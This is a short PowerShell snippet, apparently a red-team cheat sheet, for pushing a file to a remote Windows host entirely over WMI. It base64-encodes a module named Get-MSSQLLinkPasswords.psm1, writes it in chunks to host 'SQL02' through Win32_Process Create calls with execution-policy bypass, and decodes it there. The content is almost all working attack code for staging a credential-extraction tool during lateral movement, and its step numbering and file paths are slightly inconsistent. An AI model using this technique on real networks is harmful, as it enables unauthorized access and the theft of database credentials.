Base64 File Transfer Entirely Over WMI
# === 1. Read file as raw bytes ===
$base64 = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\tmp\Get-MSSQLLinkPasswords.psm1"))
# === 3. Split safely into fixed-size chunks (safe for cmd.exe) ===
$chunkSize = 3000 # safe size for WMI / echo
$chunks = $base64 -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }
# === 4. Inspect chunk count ===
$chunks.Count
$target = "SQL02"
$cred = $cred # your existing credential object
# === 4. Stage remote directory ===
Invoke-WmiMethod Win32_Process -Name Create -ComputerName $target -Credential $cred -ArgumentList "cmd.exe /c mkdir C:\tmp"
# === 5. Upload chunks one by one ===
$i=0; foreach($c in $chunks){ $ps=$c -replace "'","''"; $cmd="powershell -NoP -EP Bypass -Command ""Add-Content -LiteralPath 'C:\tmp\file.b64' -Value '$ps'"""; Invoke-WmiMethod Win32_Process -Name Create -ComputerName $target -Credential $cred -ArgumentList $cmd | Out-Null; $i++ }
# === 6. Reconstruct remotely ===
$decodeCmd = 'powershell -nop -ep bypass -command "[IO.File]::WriteAllBytes(\"C:\\YOUR\\FILE.psm1\",[Convert]::FromBase64String((Get-Content \"C:\\tmp\\file.b64\" -Raw)))"'
Invoke-WmiMethod Win32_Process -Name Create -ComputerName $target -Credential $cred -ArgumentList $decodeCmd
# === 7. Verify integrity through different channel (optional)
(Get-FileHash "C:\tmp\Get-MSSQLLinkPasswords.psm1").Hash